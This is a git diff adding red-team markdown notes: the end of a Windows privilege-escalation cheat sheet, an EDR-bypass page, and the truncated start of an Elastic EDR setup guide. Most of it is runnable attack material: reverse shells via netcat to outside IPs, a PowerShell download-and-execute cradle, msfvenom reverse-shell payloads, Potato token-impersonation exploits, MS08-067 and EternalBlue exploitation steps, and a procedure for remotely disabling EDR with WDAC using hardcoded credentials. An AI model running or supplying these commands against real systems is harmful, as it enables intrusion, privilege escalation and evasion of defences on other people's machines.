Target: Domain:interactive=WORKGROUP\Administrator + Type: Domain Password + User: WORKGROUP\Administrator +``` + +Then you can use `runas` with the `/savecred` options in order to use the saved credentials. +The following example is calling a remote binary via an SMB share. + +```powershell +runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" +runas /savecred /user:Administrator "cmd.exe /k whoami" +``` + +Using `runas` with a provided set of credential. + +```powershell +C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" +``` + +```powershell +$secpasswd = ConvertTo-SecureString "" -AsPlainText -Force +$mycreds = New-Object System.Management.Automation.PSCredential ("", $secpasswd) +$computer = "" +[System.Diagnostics.Process]::Start("C:\users\public\nc.exe"," 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer) +``` + +## EoP - Abusing Shadow Copies + +If you have local administrator access on a machine try to list shadow copies, it's an easy way for Privilege Escalation. + +```powershell +# List shadow copies using vssadmin (Needs Admnistrator Access) +vssadmin list shadows + +# List shadow copies using diskshadow +diskshadow list shadows all + +# Make a symlink to the shadow copy and access it +mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ +``` + +## EoP - From local administrator to NT SYSTEM + +```powershell +PsExec.exe -i -s cmd.exe +``` + +## EoP - Living Off The Land Binaries and Scripts + +Living Off The Land Binaries and Scripts (and also Libraries) : [lolbas-project.github.io](https://lolbas-project.github.io) + +> The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques. + +A LOLBin/Lib/Script must: + +* Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. +Have extra "unexpected" functionality. It is not interesting to document intended use cases. +Exceptions are application whitelisting bypasses +* Have functionality that would be useful to an APT or red team + +```powershell +wmic.exe process call create calc +regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll +Microsoft.Workflow.Compiler.exe tests.xml results.xml +``` + +## EoP - Impersonation Privileges + +Full privileges cheatsheet at [gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files. + +| Privilege | Impact | Tool | Execution path | Remarks | +| --- | --- | --- | --- | --- | +|`SeAssignPrimaryToken`| _**Admin**_ | 3rd party tool | _"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"_ | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. | +|`SeBackup`| **Threat** | _**Built-in commands**_ | Read sensitve files with `robocopy /b` |- May be more interesting if you can read %WINDIR%\MEMORY.DMP

- `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files.

- Robocopy requires both SeBackup and SeRestore to work with /b parameter. | +|`SeCreateToken`| _**Admin**_ | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. || +|`SeDebug`| _**Admin**_ | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | +|`SeLoadDriver`| _**Admin**_ | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys` or `capcom.sys`
2. Exploit the driver vulnerability

Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)
2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh) | +|`SeRestore`| _**Admin**_ | **PowerShell** | 1. Launch PowerShell/ISE with the SeRestore privilege present.
2. Enable the privilege with [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)).
3. Rename utilman.exe to utilman.old
4. Rename cmd.exe to utilman.exe
5. Lock the console and press Win+U| Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. | +|`SeTakeOwnership`| _**Admin**_ | _**Built-in commands**_ |1. `takeown.exe /f "%windir%\system32"`
2. `icalcs.exe "%windir%\system32" /grant "%username%":F`
3. Rename cmd.exe to utilman.exe
4. Lock the console and press Win+U| Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. | +|`SeTcb`| _**Admin**_ | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.

To be verified. || +|`SeRelabel`| _**Admin**_ | 3rd party too | [decoder-it/RelabelAbuse](https://github.com/decoder-it/RelabelAbuse) | Allows you to own resources that have an integrity level even higher than your own | + +### Restore A Service Account's Privileges + +> This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only. + +```powershell +# https://github.com/itm4n/FullPowers + +c:\TOOLS>FullPowers +[+] Started dummy thread with id 9976 +[+] Successfully created scheduled task. +[+] Got new token! Privilege count: 7 +[+] CreateProcessAsUser() OK +Microsoft Windows [Version 10.0.19041.84] +(c) 2019 Microsoft Corporation. All rights reserved. + +C:\WINDOWS\system32>whoami /priv +PRIVILEGES INFORMATION +---------------------- +Privilege Name Description State +============================= ========================================= ======= +SeAssignPrimaryTokenPrivilege Replace a process level token Enabled +SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled +SeAuditPrivilege Generate security audits Enabled +SeChangeNotifyPrivilege Bypass traverse checking Enabled +SeImpersonatePrivilege Impersonate a client after authentication Enabled +SeCreateGlobalPrivilege Create global objects Enabled +SeIncreaseWorkingSetPrivilege Increase a process working set Enabled + +c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z +``` + +### Meterpreter getsystem and alternatives + +```powershell +meterpreter> getsystem +Tokenvator.exe getsystem cmd.exe +incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe +psexec -s -i cmd.exe +python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc +``` + +### RottenPotato (Token Impersonation) + +* Binary available at : [foxglovesec/RottenPotato](https://github.com/foxglovesec/RottenPotato) and [breenmachine/RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) +* Exploit using Metasploit with `incognito mode` loaded. + + ```c + getuid + getprivs + use incognito + list\_tokens -u + cd c:\temp\ + execute -Hc -f ./rot.exe + impersonate\_token "NT AUTHORITY\SYSTEM" + ``` + +```powershell +Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser" +Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM" +Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};" +``` + +### Juicy Potato (Abusing the golden privileges) + +> If the machine is **>= Windows 10 1809 & Windows Server 2019** - Try **Rogue Potato** +> If the machine is **< Windows 10 1809 < Windows Server 2019** - Try **Juicy Potato** + +* Binary available at : [ohpe/juicy-potato](https://github.com/ohpe/juicy-potato/releases) + +1. Check the privileges of the service account, you should look for **SeImpersonate** and/or **SeAssignPrimaryToken** (Impersonate a client after authentication) + + ```powershell + whoami /priv + ``` + +2. Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object + + * [Windows 7 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise) + * [Windows 8.1 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_8.1_Enterprise) + * [Windows 10 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_10_Enterprise) + * [Windows 10 Professional](https://ohpe.it/juicy-potato/CLSID/Windows_10_Pro) + * [Windows Server 2008 R2 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise) + * [Windows Server 2012 Datacenter](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter) + * [Windows Server 2016 Standard](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard) + +3. Execute JuicyPotato to run a privileged command. + + ```powershell + JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7} + JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} + JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe" + Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337 + ...... + [+] authresult 0 + {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM + [+] CreateProcessWithTokenW OK + ``` + +### Rogue Potato (Fake OXID Resolver) + +* Binary available at [antonioCoco/RoguePotato](https://github.com/antonioCoco/RoguePotato) + +```powershell +# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port +socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999 + +# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine. +# Use this if you have fw restrictions. +RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" + +# RoguePotato all in one with RogueOxidResolver running locally on port 9999 +RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 + +#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename +RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode +``` + +### EFSPotato (MS-EFSR EfsRpcOpenFileRaw) + +* Binary available at [zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato) + +```powershell +# .NET 4.x +csc EfsPotato.cs +csc /platform:x86 EfsPotato.cs + +# .NET 2.0/3.5 +C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs +C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs +``` + +### JuicyPotatoNG + +* [antonioCoco/JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG) + +```powershell +JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" > C:\juicypotatong.txt +``` + +### PrintSpoofer (Printer Bug) + +> this work if SeImpersonatePrivilege is enabled + +* Binary available at [itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer/releases/tag/v1.0) + +```powershell +# run nc -lnvp 443 then : +.\PrintSpoofer64.exe -c "C:\Temp\nc64.exe 192.168.45.171 443 -e cmd" +# without listener +.\PrintSpoofer64.exe -i -c cmd +# Via RPD +.\PrintSpoofer64.exe -d 3 -c "powershell -ep bypass" +``` + +## EoP - Privileged File Write + +### DiagHub + +:warning: Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs. + +The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM. +This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the `C:\Windows\System32` directory. + +#### Exploit + +1. Create an [evil DLL](https://gist.github.com/xct/3949f3f4f178b1f3427fae7686a2a9c0) e.g: payload.dll and move it into `C:\Windows\System32` +2. Build [xct/diaghub](https://github.com/xct/diaghub) +3. `diaghub.exe c:\\ProgramData\\ payload.dll` + +The default payload will run `C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe` + +Alternative tools: + +* [Accenture/AARO-Bugs/CVE-2020-5825/TrigDiag](https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag) +* [decoder-it/diaghub_exploit](https://github.com/decoder-it/diaghub_exploit) + +### UsoDLLLoader + +:warning: 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview. + +> An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a. @tiraniddo) + +If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of `windowscoredeviceinfo.dll` into `C:\Windows\Sytem32\` and then have it loaded by the USO service to get arbitrary code execution as **NT AUTHORITY\System**. + +#### Exploit + +1. Build [itm4n/UsoDllLoader](https://github.com/itm4n/UsoDllLoader) + * Select Release config and x64 architecure. + * Build solution. + * DLL .\x64\Release\WindowsCoreDeviceInfo.dll + * Loader .\x64\Release\UsoDllLoader.exe. +2. Copy `WindowsCoreDeviceInfo.dll` to `C:\Windows\System32\` +3. Use the loader and wait for the shell or run `usoclient StartInteractiveScan` and connect to the bind shell on port 1337. + +### WerTrigger + +> Exploit Privileged File Writes bugs with Windows Problem Reporting + +1. Clone [sailay1996/WerTrigger](https://github.com/sailay1996/WerTrigger) +2. Copy `phoneinfo.dll` to `C:\Windows\System32\` +3. Place `Report.wer` file and `WerTrigger.exe` in a same directory. +4. Then, run `WerTrigger.exe`. +5. Enjoy a shell as **NT AUTHORITY\SYSTEM** + +### WerMgr + +> Exploit Privileged Directory Creation Bugs with Windows Error Reporting + +1. Clone [binderlabs/DirCreate2System](https://github.com/binderlabs/DirCreate2System) +2. Create directory `C:\Windows\System32\wermgr.exe.local\` +3. Grant access to it: `cacls C:\Windows\System32\wermgr.exe.local /e /g everyone:f` +4. Place `spawn.dll` file and `dircreate2system.exe` in a same directory and run `.\dircreate2system.exe`. +5. Enjoy a shell as **NT AUTHORITY\SYSTEM** + +## EoP - Privileged File Delete + +During an MSI installation, the Windows Installer service maintains a record of every changes in case it needs to be rolled back, to do that it will create: + +* a folder at `C:\Config.Msi` containing + * a rollback script (`.rbs`) + * a rollback file (`.rbf`) + +To convert a privileged file delete to a local privilege escalation, you need to abuse the Windows Installer service. + +* delete the protected `C:\Config.Msi` folder immediately after it's created by the Windows Installer +* recreate the `C:\Config.Msi` folder with weak DACL permissions since ordinary users are allowed to create folders at the root of `C:\`. +* drop malicious `.rbs` and `.rbf` files into it to be executed by the MSI rollback +* then upon rollback, Windows Installer will make arbitrary changes to the system + +The easiest way to trigger this chain is using [thezdi/FilesystemEoPs/FolderOrFileDeleteToSystem](https://github.com/thezdi/PoC/tree/master/FilesystemEoPs/FolderOrFileDeleteToSystem). +The exploit contains a .msi file with 2 actions, the first one produces a delay and the second throws an error to make it rollback. This rollback will "restore" a malicious HID.dll in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`. + +Then switch to the secure desktop using `[CTRL]+[ALT]+[DELETE]` and open the On-Screen Keyboard (`osk.exe`). +The `osk.exe` process first looks for the `C:\Program Files\Common Files\microsoft shared\ink\HID.dll` library instead of `C:\Windows\System32\HID.dll` + +## EoP - Common Vulnerabilities and Exposure + +### MS08-067 (NetAPI) + +Check the vulnerability with the following nmap script. + +```c +nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 +``` + +Metasploit modules to exploit `MS08-067 NetAPI`. + +```powershell +exploit/windows/smb/ms08_067_netapi +``` + +If you can't use Metasploit and only want a reverse shell. + +```powershell +https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py +msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows + +Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445 +Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used) +Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal +Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English +Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX) +Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX) +Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX) +python ms08-067.py 10.0.0.1 6 445 +``` + +### MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7 + +'KiTrap0D' User Mode to Ring Escalation (MS10-015) + +```powershell +https://www.exploit-db.com/exploits/11199 + +Metasploit : exploit/windows/local/ms10_015_kitrap0d +``` + +### MS11-080 (afd.sys) - Microsoft Windows XP/2003 + +```powershell +Python: https://www.exploit-db.com/exploits/18176 +Metasploit: exploit/windows/local/ms11_080_afdjoinleaf +``` + +### MS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012 + +```powershell +printf("[#] usage: ms15-051 command \n"); +printf("[#] eg: ms15-051 \"whoami /all\" \n"); + +# x32 +https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe + +# x64 +https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe + +https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051 +use exploit/windows/local/ms15_051_client_copy_image +``` + +### MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) + +Check if the patch is installed : `wmic qfe list | findstr "3139914"` + +```powershell +Powershell: +https://www.exploit-db.com/exploits/39719/ +https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 + +Binary exe : https://github.com/Meatballs1/ms16-032 + +Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc +``` + +### MS17-010 (Eternal Blue) + +Check the vulnerability with the following nmap script or netexec: `netexec smb 10.10.10.10 -u '' -p '' -d domain -M ms17-010`. + +```c +nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 +``` + +Metasploit modules to exploit `EternalRomance/EternalSynergy/EternalChampion`. + +```powershell +auxiliary/admin/smb/ms17_010_command MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution +auxiliary/scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detection +exploit/windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption +exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ +exploit/windows/smb/ms17_010_psexec MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution +``` + +If you can't use Metasploit and only want a reverse shell. + +```powershell +git clone https://github.com/helviojunior/MS17-010 + +# generate a simple reverse shell to use +msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe +python2 send_and_execute.py 10.0.0.1 revshell.exe +``` + +### CVE-2019-1388 + +Exploit : [packetstormsecurity/hhupd.exe](https://packetstormsecurity.com/files/14437/hhupd.exe.html) + +Requirement: + +* Windows 7 +* Windows 10 LTSC 10240 + +Failing on : + +* LTSC 2019 +* 1709 +* 1803 + +Detailed information about the vulnerability : [Thanksgiving Treat: Easy-as-Pie Windows 7 Secure Desktop Escalation of Privilege - Simon Zuckerbraun - November 19, 2019](https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege) + +## References + +* [ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER GREAT TRICKS - Simon Zuckerbraun - March 17, 2022](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) +* [Abusing Diaghub - xct - March 7, 2019](https://vulndev.io/2019/03/06/abusing-diaghub/) +* [Abusing SeLoadDriverPrivilege for privilege escalation - June 14, 2018 - OSCAR MALLO](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/) +* [Abusing the SeRelabelPrivilege - @decoder_it - May 30, 2024](https://decoder.cloud/2024/05/30/abusing-the-serelabelprivilege/) +* [Alternative methods of becoming SYSTEM - Adam Chester @_xpn_ - November 20, 2017](https://blog.xpnsec.com/becoming-system/) +* [Basic Linux Privilege Escalation - g0tmi1k - August 2, 2011](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) +* [Bypassing AppLocker by abusing HashInfo - Ian - August 19, 2022](https://shells.systems/post-bypassing-applocker-by-abusing-hashinfo/) +* [Chapter 4 - Windows Post-Exploitation - dostoevskylabs - November 2, 2017](https://github.com/dostoevskylabs/dostoevsky-pentest-notes/blob/master/chapter-4.md) +* [Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec](https://web.archive.org/web/20191105182846/https://amonsec.net/2018/09/23/Common-Windows-Misconfiguration-Services.html) +* [Deleting Your Way Into SYSTEM: Why Arbitrary File Deletion Vulnerabilities Matter - ANDREW OLIVEAU - SEP 11, 2023](https://www.mandiant.com/resources/blog/arbitrary-file-deletion-vulnerabilities) +* [Escalating Privileges via Third-Party Windows Installers - ANDREW OLIVEAU - JUL 19, 2023](https://www.mandiant.com/resources/blog/privileges-third-party-windows-installers) +* [Giving JuicyPotato a second chance: JuicyPotatoNG - @decoder_it, @splinter_code](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/) +* [Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows](https://www.elladodelmal.com/2020/03/hacking-trick-environment-variable-path.html?m=1) +* [icacls - Docs Microsoft](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls) +* [IN THE POTATO FAMILY, I WANT THEM ALL - @BlWasp_](https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all) +* [Living Off The Land Binaries and Scripts (and now also Libraries)](https://github.com/LOLBAS-Project/LOLBAS) +* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf) +* [MSI Shenanigans. Part 1 – Offensive Capabilities Overview - DECEMBER 8, 2022 - Mariusz Banach](https://mgeeky.tech/msi-shenanigans-part-1/) +* [MSIFortune - LPE with MSI Installers - Oct 3, 2023 - PfiatDe](https://badoption.eu/blog/2023/10/03/MSIFortune.html) +* [Pentestlab.blog - WPE-01 - Stored Credentials](https://pentestlab.blog/2017/04/19/stored-credentials/) +* [Pentestlab.blog - WPE-02 - Windows Kernel](https://pentestlab.blog/2017/04/24/windows-kernel-exploits/) +* [Pentestlab.blog - WPE-03 - DLL Injection](https://pentestlab.blog/2017/04/04/dll-injection/) +* [Pentestlab.blog - WPE-04 - Weak Service Permissions](https://pentestlab.blog/2017/03/30/weak-service-permissions/) +* [Pentestlab.blog - WPE-05 - DLL Hijacking](https://pentestlab.blog/2017/03/27/dll-hijacking/) +* [Pentestlab.blog - WPE-06 - Hot Potato](https://pentestlab.blog/2017/04/13/hot-potato/) +* [Pentestlab.blog - WPE-07 - Group Policy Preferences](https://pentestlab.blog/2017/03/20/group-policy-preferences/) +* [Pentestlab.blog - WPE-08 - Unquoted Service Path](https://pentestlab.blog/2017/03/09/unquoted-service-path/) +* [Pentestlab.blog - WPE-09 - Always Install Elevated](https://pentestlab.blog/2017/02/28/always-install-elevated/) +* [Pentestlab.blog - WPE-10 - Token Manipulation](https://pentestlab.blog/2017/04/03/token-manipulation/) +* [Pentestlab.blog - WPE-11 - Secondary Logon Handle](https://pentestlab.blog/2017/04/07/secondary-logon-handle/) +* [Pentestlab.blog - WPE-12 - Insecure Registry Permissions](https://pentestlab.blog/2017/03/31/insecure-registry-permissions/) +* [Pentestlab.blog - WPE-13 - Intel SYSRET](https://pentestlab.blog/2017/06/14/intel-sysret/) +* [Potatoes - Windows Privilege Escalation - Jorge Lajara - November 22, 2020](https://jlajara.gitlab.io/Potatoes_Windows_Privesc) +* [Privilege Escalation Windows - Philip Linghammar](https://web.archive.org/web/20191231011305/https://xapax.gitbooks.io/security/content/privilege_escalation_windows.html) +* [Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell](https://www.tecklyfe.com/remediation-microsoft-windows-unquoted-service-path-enumeration-vulnerability/) +* [The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte](https://addaxsoft.com/wpecs/) +* [The SYSTEM Challenge](https://decoder.cloud/2017/02/21/the-system-challenge/) +* [TOP–10 ways to boost your privileges in Windows systems - hackmag](https://hackmag.com/security/elevating-privileges-to-administrative-and-further/) +* [Universal Privilege Escalation and Persistence – Printer - AUGUST 2, 2021)](https://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/) +* [Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019](https://itm4n.github.io/usodllloader-part2/) +* [Webinar - Windows Client Privilege Escalation - Oddvar Moe - March 26, 2025](https://www.youtube.com/watch?v=EG2Mbw2DVnU) +* [Windows Client Privilege Escalation-Shared.pptx - Oddvar Moe - March 27, 2025](https://fr.slideshare.net/slideshow/windows-client-privilege-escalation-shared-pptx/277239036) +* [Windows elevation of privileges - Guifre Ruiz](https://guif.re/windowseop) +* [Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html) +* [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html) +* [Windows Privilege Escalation Guide - absolomb's security blog](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) diff --git a/personas/_shared/internal-allthethings/redteam/evasion/edr-bypass.md b/personas/_shared/internal-allthethings/redteam/evasion/edr-bypass.md new file mode 100644 index 0000000..283cee9 --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/evasion/edr-bypass.md @@ -0,0 +1,83 @@ +# Endpoint Detection and Response + +Endpoint Detection and Response (EDR) is a security solution that combines real-time monitoring, data collection, and advanced analytics to detect, investigate, and respond to cyber threats at the endpoint level. Leveraging machine learning algorithms and behavioral analysis, EDR tools can identify malicious activities, automate containment and remediation actions, and provide forensic insights to enhance an organization's overall security posture. + +## Static Detection + +**Mechanism**: Static detection is a security technique used in EDR and antivirus software that analyzes files and applications without executing them, typically based on predefined signatures or known malicious patterns. + +**Bypass**: + +- Obfuscate strings +- Dynamically resolving strings +- Dynamically resolving imports, reducing the `Import Address Table` (IAT) +- Custom `GetProcAddress` and `GetModuleHandle` +- API Hashing + +## User Behavioural Analysis + +**Mechanism**: User Behavioral Analysis (UBA) monitors and analyzes user activities and patterns to detect anomalies and potential threats. + +**Bypass**: + +- Learning about OPSEC methods + +## Usermode Windows Function Monitoring + +**Mechanism**: Usermode Windows Function Monitoring is a technique that tracks and analyzes the execution of Windows API (Application Programming Interface) calls and functions within user space processes. + +**Bypass**: + +- Unhooking +- Indirect syscalls + +## Call Stack Analysis + +**Mechanism**: Checking the origin of function calls via the Call Stack chain + +**Bypass**: + +- TODO +- TODO + +## Process Analysis + +**Mechanism**: Process analysis includes inspecting memory regions, identifying remote process access, and assessing child processes to gain insights into process relationships, uncover hidden or suspicious activities. + +**Bypass**: + +- Avoid RWX memory region (RW->RX) +- Break parent-child link (e.g: word.exe spawning cmd.exe) +- TODO + +## Kernel Callbacks + +**Mechanism**: Kernel callbacks in the context of Endpoint Detection and Response (EDR) are functions registered by kernel drivers that get triggered in response to specific events or actions within the operating system's kernel. + +**Bypass**: + +- TODO + +## WDAC to Disable EDR Components + +Place the WDAC policy `SiPolicy.p7b` inside `C:\Windows\System32\CodeIntegrity\` and reboot the machine. + +```ps1 +smbmap -u Administrator -p P@ssw0rd -H 192.168.4.4 --upload "/home/kali/SiPolicy.p7b" "ADMIN\$/System32/CodeIntegrity/SiPolicy.p7b" +smbmap -u Administrator -p P@ssw0rd -H 192.168.4.4 -x "shutdown /r /t 0" +``` + +Using Krueger a .NET post-exploitation tool. + +- [logangoins/Krueger](https://github.com/logangoins/Krueger) - Proof of Concept (PoC) .NET tool for remotely killing EDR with WDAC + + ```ps1 + inlineExecute-Assembly --dotnetassembly C:\Tools\Krueger.exe --assemblyargs --host ms01 + ``` + +## References + +- [Flying Under the Radar: Part 1: Resolving Sensitive Windows Functions with x64 Assembly - theepicpowner - Apr 24, 2024](https://theepicpowner.gitlab.io/posts/Flying-Under-the-Radar-Part-1/) +- [Malware AV/VM evasion - part 16: WinAPI GetProcAddress implementation. Simple C++ example - cocomelonc](https://cocomelonc.github.io/malware/2023/04/16/malware-av-evasion-16.html) +- [Custom GetProcAddress And GetModuleHandle Implementation (X64) - daax - December 15, 2016](https://revers.engineering/custom-getprocaddress-and-getmodulehandle-implementation-x64/) +- [Weaponizing WDAC: Killing the Dreams of EDR - Jonathan Beierle and Logan Goins - December 20, 2024](https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/) diff --git a/personas/_shared/internal-allthethings/redteam/evasion/elastic-edr.md b/personas/_shared/internal-allthethings/redteam/evasion/elastic-edr.md new file mode 100644 index 0000000..1d854ec --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/evasion/elastic-edr.md @@ -0,0 +1,99 @@ +# Elastic EDR + +> Elastic EDR (Endpoint Detection and Response) is a component of Elastic Security designed to address cybersecurity threats at the endpoint level. It plays a crucial role in preventing, detecting, and responding to cyber threats like ransomware and malware. + +* [peasead/elastic-container](https://github.com/peasead/elastic-container) - Stand up a simple Elastic container with Kibana, Fleet, and the Detection Engine + +## Setup + +* First, you need `docker` and the `docker-compose` plugin + + ```ps1 + # Add Docker's official GPG key: + sudo apt-get update + sudo apt-get install 